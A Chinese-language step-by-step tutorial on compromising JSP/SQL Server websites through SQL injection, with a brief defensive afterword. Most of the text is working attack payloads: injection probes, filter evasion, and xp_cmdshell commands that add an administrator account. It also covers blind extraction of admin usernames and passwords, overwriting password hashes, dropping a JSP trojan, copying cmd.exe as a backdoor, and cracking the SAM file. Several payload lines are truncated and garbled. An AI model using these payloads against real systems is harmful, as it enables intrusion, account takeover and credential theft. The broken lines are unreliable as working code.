SQL注入攻击的总体思路是：1.发现SQL注入位置；2.判断后台数据库类型；3.确定XP_CMDSHELL可执行情况4.发现WEB虚拟目录5.上传JSP木马；6.得到管理员权限；一、SQL注入漏洞的判断一般来说，SQL注入一般存在于形如：HTTP://xxx.xxx.xxx/abc.jsp?id=XX等带有参数的jsp或者动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入

SQL注入攻击的总体思路是：

1.发现SQL注入位置；
2.判断后台数据库类型；
3.确定XP_CMDSHELL可执行情况
4.发现WEB虚拟目录
5. 上传JSP木马；
6.得到管理员权限；

一、SQL注入漏洞的判断

一般来说，SQL注入一般存在于形如：HTTP://xxx.xxx.xxx/abc.jsp?id=XX等带有参数的jsp或者动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入。如果程序员没有安全意识，不进行必要的字符过滤，存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息，首选请调整IE的配置。把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚，以下以HTTP://xxx.xxx.xxx/abc.jsp?p=YY为例进行分析，YY可能是整型，也有可能是字符串。

1、整型参数的判断

当输入的参数YY为整型时，通常abc.jsp中SQL语句原貌大致如下：
select * from 表名 where 字段=YY，所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY'(附加一个单引号)，此时abc.JSP中的SQL语句变成了
select * from 表名 where 字段=YY'，abc.jsp运行异常；
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=1, abc.jsp运行正常，而且与HTTP://xxx.xxx.xxx/abc.jsp?p=YY运行结果相同；
③HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=2, abc.jsp运行异常；
如果以上三步全面满足，abc.jsp中一定存在SQL注入漏洞。

2、特殊情况的处理

有时JSP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；
②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；
③ASCII码法：可以把输入的部分或全部字符全部用ASCII码代替，如U=chr(85),a=chr(97)等，ASCII信息参见附二；

二、区分数据库服务器类型

一般来说，mysql是最常用的数据库服务器，尽管它们都支持T－SQL标准，但还有不同之处，而且不同的数据库有不同的攻击方法，必须要区别对待。

1、利用数据库服务器的系统变量进行区分

SQL－SERVER有user,db_name()等系统变量，利用这些系统值不仅可以判断SQL-SERVER，而且还可以得到大量有用信息。如：
① HTTP://xxx.xxx.xxx/abc.jsp?p=YY and user>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前正在使用的数据库名；

2、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限，而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句：
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE，则第一条，abc.jsp一定运行正常，第二条则异常；若是ACCESS则两条都会异常。

3、 MSSQL三个关键系统表

sysdatabases系统表：Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。

dbid //表示库的ID，dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

Sysobjects：SQL-SERVER的每个数据库内都有此系统表，它存放该数据库内创建的所有对象，如约束、默认值、日志、规则、存储过程等，每个对象在表中占一行。以下是此系统表的字段名称和相关说明。

Name，id，xtype，uid，status：分别是对象名，对象ID，对象类型，所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种：
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束（类型是 K）
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束（类型是 K）
V = 视图
X = 扩展存储过程

当xtype='U' and status>0代表是用户建立的表，对象名就是表名，对象ID就是表的ID值。

用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

syscolumns ：每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有： name ，id， colid ：分别是字段名称，表ID号，字段ID号，其中的 ID 是刚上我们用sysobjects得到的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.jsp?p=YY&nb ... er>0 abc.jsp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.jsp?p=YY ... me()>0 abc.jsp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.jsp?p=YY；exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“—”号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、HTTP://xxx.xxx.xxx/abc.jsp?p=YY；exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
5、HTTP://xxx.xxx.xxx/abc.jsp?p=YY；backuup database 数据库名 to disk='c:inetpubwwwrootsave.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exe ... dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

四、发现WEB虚拟目录

只有找到WEB虚拟目录，才能确定放置JSP木马的位置，进而得到USER权限。有两种方法比较有效。

一是根据经验猜解，一般来说，WEB虚拟目录是：c:inetpubwwwroot; D:inetpubwwwroot; E:inetpubwwwroot等，而可执行虚拟目录是：c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。

二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；

先创建一个临时表：temp
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下来：

（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息

（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:';--

（3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';--
这样就可以成功的浏览到所有的目录（文件夹）列表：
如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec ... nbsp;'type c:webindex.jsp';--
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:inetpubwwwrootindex.jsp'
浏览temp就可以看到index.jsp文件的内容了！通过分析各种JSP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。
当然，如果xp_cmshell能够执行，我们可以用它来完成：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:';--
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c: *.jsp /s/a';--
通过xp_cmdshell我们可以看到所有想看到的，包括W3svc
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ubAdminScriptsadsutil.vbs enum w3svc'
但是，如果不是SA权限，我们还可以使用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';--

注意：

1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;delete from temp;--
2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然abc.jsp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。

五、上传JSP木马

所谓JSP木马，就是一段有特殊功能的JSP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传JSP木马一般有两种比较有效的方法：

1、利用WEB的远程管理功能

许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。

因此，若获取正确的用户名与密码，不仅可以上传JSP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。

用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

A、注入法：

从理论上说，认证网页中会有型如：
select * from admin where username='XXX' and passWord='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。
如在用户名文本框内输入：abc' or 1=1-- 在密码框内输入：123 则SQL语句变成：
select * from admin where username='abc' or 1=1 and password='123' 不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。

B、猜解法：

基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。

l 猜解所有数据库名称

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.jsp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。

l 猜解数据库中用户名表的名称

猜解法：此方法就是根据个人的经验猜表名，一般来说，user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在，则abc.jsp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。

读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。

当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：

①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一个用户建立表的名称，并与整数进行比较，显然abc.jsp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则

②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。
根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。

l 猜解用户名字段及密码字段名称

admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。

猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句得到表的行数，所以若字段名存在，则abc.jsp工作正常，否则异常。如此循环，直到猜到两个字段的名称。
读取法：基本的实现方法是
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然abc.jsp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。

l 猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有：

ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username为用户名字段的名称，admin为表的名称)，若x为某一值i且abc.jsp运行正常时，则i就是第一个用户名的长度。

如：当输入HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.jsp运行正常，则第一个用户名的长度为8

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且abc.jsp运行正常时，则i对应ASCII码就是用户名某一位值。

如：当输入

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时abc.jsp运行正常，则用户名的第三位为P(P的ASCII为80)；

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时abc.jsp运行正常，则用户名的第9位为!(!的ASCII为80)；

猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经md5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。

简单法：

猜用户名用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段，username是用户名字段，此时abc.jsp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。

猜用户密码：HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段，pwd是密码字段，此时abc.jsp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)
用同样的方法当然可把密码改原来的值。

2、利用表内容导成文件功能

SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个JSP木马，然后用BCP命令导出形成JSP文件。
命令行格式如下：
bcp "select * from text..foo" queryout c:inetpubwwwrootruncommand.jsp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个runcommand.jsp的木马)

六、得到系统的管理员权限

JSP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：
上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；
复制CMD.exe到scripts，人为制造UNICODE漏洞；
下载SAM文件，破解并获取OS的所有用户名密码；
等等，视系统的具体情况而定，可以采取不同的方法。

后记

　　正如上文所描述的，SQL 漏洞危害非常的巨大，但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

1、代码要对输入的参数做到充分的过滤，并尽可能得考虑极端情况
　　2、错误信息尽可能的少，否则无关的人看不懂而有心的人就会提起兴趣
　　3、不要以管理员的身份运行服务器进程
　　4、某些情况下，net 命令对于攻击者而言就是“微软牌”的木马
　　5、严格控制远程登录访问者的来源
　　6、如果可能的情况下，不是很推荐使用 Windows 作为服务器操作系统
